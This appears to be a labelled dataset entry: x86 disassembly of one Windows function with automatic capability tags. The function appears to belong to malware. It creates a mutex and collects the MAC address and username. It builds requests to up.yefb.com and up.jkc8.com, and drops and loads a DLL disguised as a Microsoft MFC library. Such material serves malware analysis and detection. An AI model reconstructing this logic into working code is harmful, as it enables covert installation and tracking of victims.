Function at 0x401fd0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Copy file
Delete file
Get common file path
Read .ini file

Disassembly:
sub esp, 0x30c
mov eax, dword [0x41313c]
xor eax, esp
mov dword [esp + 0x308], eax
mov eax, dword [esp + 0x310]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x324]
push edi
push str.cxcwds7bff
xor ebp, ebp
push ebp
push ebp
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402c2f
cmp edi, ebp
je 0x402c2f
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov esi, eax
push str.._log.dat
cmp esi, ebp
jne 0x402043
push str.NoMod
jmp 0x402048
push 0x410c80
push str.RunHiError
push 0x410c78
call ebx
push str.p005
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x414ba0], eax
cmp eax, ebp
je 0x402c36
push 0x206
lea edx, [esp + 0x116]
xor ecx, ecx
push ebp
push edx
mov dword [esp + 0x3c], ebp
mov word [esp + 0x11c], cx
call fcn.00403fc0
mov eax, dword [0x413fe4]
mov edx, dword [eax + 0xc]
add esp, 0xc
mov ecx, 0x413fe4
call edx
add eax, 0x10
mov edx, str.ux_getip.aspx_
lea edi, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.00402d10
push 0x3c
lea edx, [esp + 0x58]
xor eax, eax
xor ecx, ecx
push ebp
push edx
mov dword [esp + 0x34], 1
mov dword [esp + 0x28], ebp
mov word [esp + 0x5c], ax
mov word [esp + 0x5e], cx
call fcn.00403fc0
push 0x3c
lea edx, [esp + 0xa4]
xor eax, eax
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xa8], ax
mov word [esp + 0xaa], cx
call fcn.00403fc0
push 0x3c
lea edx, [esp + 0xf0]
xor eax, eax
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xf4], ax
mov word [esp + 0xf6], cx
call fcn.00403fc0
add esp, 0x24
push str.agname
mov eax, edi
push eax
mov eax, 7
call fcn.004031f0
call fcn.00401240
mov dword [esp + 0x2c], eax
cmp eax, ebp
je 0x4021a2
lea ecx, [esp + 0x110]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x110]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x402163
mov edx, dword [0x410cc0]
mov ecx, dword [0x410cc4]
mov dword [eax], edx
mov edx, dword [0x410cc8]
mov dword [eax + 4], ecx
mov ecx, dword [0x410ccc]
mov dword [eax + 8], edx
mov edx, dword [0x410cd0]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
push 0x410cd4
jmp 0x4021dd
push 0x104
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [esp + 0x110]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x4021c0
mov ecx, 8
mov esi, 0x410cf4
rep movsd dword es:[edi], dword [esi]
push 0x410d14
push 0x410cd8
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
push str.._log.dat
push ebp
push 0x410d18
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp eax, 1
jne 0x402217
lea ecx, [esp + 0x110]
push ecx
push 0x410cd4
jmp 0x402224
lea edx, [esp + 0x110]
push edx
push 0x410d14
push 0x410d28
push 0x410ce4
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProfileStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor edi, edi
cmp word [esp + 0x90], 0
jne 0x4022d7
push 0x3e8
call esi
push 0x20
lea eax, [esp + 0x94]
push eax
push 0x410c24
push 0x410d34
push 0x410ce4
call ebp
cmp word [esp + 0x90], 0
jne 0x4022a3
lea ecx, [esp + 0x110]
push ecx
push 0x20
lea edx, [esp + 0x98]
push edx
push 0x410c24
push 0x410d34
push 0x410ce4
call ebx
inc edi
cmp edi, 0xa
jl 0x402244
cmp word [esp + 0x90], 0
jne 0x4022d7
xor eax, eax
jmp 0x4022c0
movzx ecx, word [eax + str.58wangwei]
mov word [esp + eax + 0x90], cx
add eax, 2
test cx, cx
jne 0x4022c0
lea eax, [esp + 0x90]
push str.58wangwei
push eax
call fcn.0040d4a5
add esp, 8
test eax, eax
je 0x402309
lea ecx, [esp + 0x90]
push str.xunjead
push ecx
call fcn.0040d4a5
add esp, 8
test eax, eax
jne 0x40230d
xor ebx, ebx
jmp 0x402311
mov ebx, dword [esp + 0x28]
lea eax, [esp + 0x90]
lea edx, [eax + 2]
jmp 0x402320
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402320
sub eax, edx
lea edx, [esp + 0x90]
push edx
lea ecx, [esp + 0x14]
sar eax, 1
push ecx
call fcn.004031f0
push str.username
lea edx, [esp + 0x14]
push edx
mov eax, 0xa
call fcn.004031f0
xor edi, edi
jmp 0x402360
cmp word [esp + 0x50], 0
jne 0x402477
push 0x3e8
call esi
push 0x20
lea eax, [esp + 0x54]
push eax
push 0x410c24
push 0x410d78
push 0x410ce4
call ebp
cmp word [esp + 0x50], 0
jne 0x4023b7
lea ecx, [esp + 0x110]
push ecx
push 0x20
lea edx, [esp + 0x58]
push edx
push 0x410c24
push 0x410d78
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x50]
push 0x410d80
push eax
call fcn.0040d4a5
add esp, 8
test eax, eax
je 0x40240f
lea ecx, [esp + 0x50]
push 0x410d90
push ecx
call fcn.0040d4a5
add esp, 8
test eax, eax
je 0x40240f
lea edx, [esp + 0x50]
push str.project1
push edx
call fcn.0040d4a5
add esp, 8
test eax, eax
je 0x40240f
lea eax, [esp + 0x50]
push str.abcdef
push eax
call fcn.0040d4a5
add esp, 8
test eax, eax
jne 0x402417
mov dword [esp + 0x1c], 1
inc edi
cmp edi, 0xa
jl 0x402360
cmp word [esp + 0x50], 0
jne 0x402477
lea ecx, [esp + 0x110]
push ecx
push 0x20
lea edx, [esp + 0x58]
push edx
push str.NoUser
push str.Err11
push 0x410c78
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40246d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x402c38
mov edx, dword [0x413fe4]
mov eax, dword [edx + 0xc]
mov ecx, 0x413fe4
call eax
mov dword [esp + 0x28], eax
test ebx, ebx
je 0x4024a4
lea ecx, [esp + 0x50]
push 0x5f
push ecx
call fcn.00403cca
add esp, 8
test eax, eax
je 0x4024a4
xor ebx, ebx
lea eax, [esp + 0x50]
lea edx, [eax + 2]
jmp 0x4024b0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4024b0
sub eax, edx
lea edx, [esp + 0x50]
push edx
lea ecx, [esp + 0x14]
sar eax, 1
push ecx
call fcn.004031f0
push str.fjsogou
lea edx, [esp + 0x14]
push edx
mov eax, 9
call fcn.004031f0
test ebx, ebx
je 0x4024f2
push str.http:__up.yefb.com_
lea eax, [esp + 0x1c]
push eax
jmp 0x4024fc
push str.http:__up.jkc8.com_
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x18]
call fcn.00402f60
mov ecx, dword [eax]
mov esi, dword [esp + 0x18]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
add esp, 8
cmp eax, esi
je 0x40255a
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40254d
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40254d
call fcn.00403180
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x402544
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x10], ebx
jmp 0x40255a
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x14]
call fcn.004030e0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40257a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x20
lea ecx, [esp + 0xd4]
push ecx
push 0x410c24
push str.MACAddr
push 0x410ce4
call ebp
cmp word [esp + 0xd0], 0
jne 0x4025c7
lea edx, [esp + 0x110]
push edx
push 0x20
lea eax, [esp + 0xd8]
push eax
push str.0000000000
push str.MACAddr
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, 0x30303030
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x114]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov byte [esp + 0x50], al
mov byte [esp + 0x51], 0
call fcn.00402c60
push 0x410e64
lea edx, [esp + 0x14]
push edx
mov eax, 7
call fcn.004031f0
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
push 1
push ecx
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x20], esp
mov ebp, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40263a
cmp eax, dword [esi]
jne 0x40263a
mov edi, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x402676
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x402653
call fcn.00401c40
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004038bb
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov ecx, ebx
lea edi, [esp + 0x4c]
call fcn.00401350
test eax, eax
mov eax, dword [esp + 0x20]
jne 0x4026eb
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4026ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4026c8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4026e1
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, 1
jmp 0x402c38
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
push 0x410d14
push str.Wk_Cot
push 0x410ce4
mov dword [esp + 0x44], 0
call ebx
mov ecx, dword [esp + 0x20]
push ecx
push 0x410d14
push 0x410e84
push 0x410c78
call ebx
cmp dword [esp + 0x1c], 0
je 0x40273e
mov edx, dword [esp + 0x20]
push edx
push 0x410cd4
push 0x410e94
push 0x410ce4
call ebx
mov ecx, dword [esp + 0x14]
push 0x104
lea eax, [esp + 0x114]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x114]
call fcn.00402c60
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x402792
cmp eax, dword [esi]
jne 0x402792
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4027ce
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x4027ab
call fcn.00401c40
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004038bb
add esp, 0x10
mov ecx, dword [esp + 0x24]
push 0x5c
add edi, 0x10
push ecx
mov dword [esp + 0x24], edi
call fcn.00403cf0
mov edx, dword [esp + 0x2c]
add esp, 8
test eax, eax
jne 0x4027f1
or ecx, 0xffffffff
jmp 0x4027f7
sub eax, edx
sar eax, 1
mov ecx, eax
mov eax, dword [edx - 0xc]
lea edx, [esp + 0x24]
push edx
call fcn.00401900
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x38]
push eax
call fcn.004017e0
push 0x104
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp dword [esp + 0x2c], 0
lea edi, [esp + 0x1c]
je 0x40284d
movzx edx, word [esp + 0x110]
push str.Program_FilesCommon_FilesMicrosoft_Shared
push edx
push str._C:_sMFC90ENut.dll
call fcn.004032b0
add esp, 0xc
jmp 0x402862
lea eax, [esp + 0x110]
push eax
push str._sMFC90ENut.dll
call fcn.004032b0
add esp, 8
mov ebp, dword [esp + 0x1c]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [0x413fe4]
mov eax, dword [edx + 0xc]
mov ecx, 0x413fe4
call eax
push ebp
mov dword [esp + 0x30], eax
call fcn.004011a0
add esp, 4
test eax, eax
je 0x402938
push ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x40292a
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x410f54
push edi
call ebx
mov esi, eax
test esi, esi
je 0x40290e
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x114]
call fcn.004017e0
mov eax, dword [esp + 0x14]
cmp dword [eax - 4], 1
jle 0x4028e4
mov edx, dword [eax - 0xc]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00401a40
mov eax, dword [esp + 0x14]
push eax
call esi
push 0
call esi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
add esp, 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40290e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x410f5c
push edi
call ebx
lea ecx, [esp + 0x44]
push ecx
mov dword [esp + 0x38], eax
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 4
push 0
push 0x410f60
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
push esi
lea edx, [esp + 0x114]
push 0x410fac
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x410c10
mov dword [esp + 0x5c], 3
mov dword [esp + 0x58], esi
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x4029ba
test esi, esi
je 0x4029ba
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 8
lea ecx, [esp + 0x50]
push ecx
push 0x8000c004
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x4029ef
jmp 0x4029be
mov edi, dword [esp + 0x30]
lea edx, [esp + 0x110]
push edx
push str.Shift3
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
push str.._log.dat
lea eax, [esp + 0x114]
push eax
push str.Shift3
push 0x410ce4
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
xor esi, esi
mov dword [esp + 0x14], eax
test edi, edi
jne 0x402a67
cmp esi, 0xea60
jae 0x402a67
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x410c10
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x402a54
test esi, esi
je 0x402a54
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
push 0
push 8
lea edx, [esp + 0x50]
push edx
push 0x8000c004
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x3e8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x402a01
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x1c], esi
call fcn.00402d50
lea esp, [esp]
sub esi, dword [esp + 0x14]
cmp esi, 0x36ee80
jb 0x402b32
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
push 0
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x402ac8
cmp eax, dword [esi]
jne 0x402ac8
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x402aff
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40264e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea eax, [eax + eax + 2]
push eax
add esi, 0x10
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004038bb
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov ecx, ebx
lea edi, [esp + 0x4c]
call fcn.00401350
test eax, eax
je 0x402b4a
mov eax, dword [esp + 0x34]
test eax, eax
je 0x402b24
mov edx, edi
push edx
call eax
add esp, 4
mov eax, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x14], eax
call ebx
mov esi, eax
push 0x493e0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402a80
mov eax, dword [esp + 0x2c]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402b67
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402b87
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ba7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402bc7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402be7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402c04
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40246d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x402c38
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x318]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004038ac
add esp, 0x30c
ret 0x10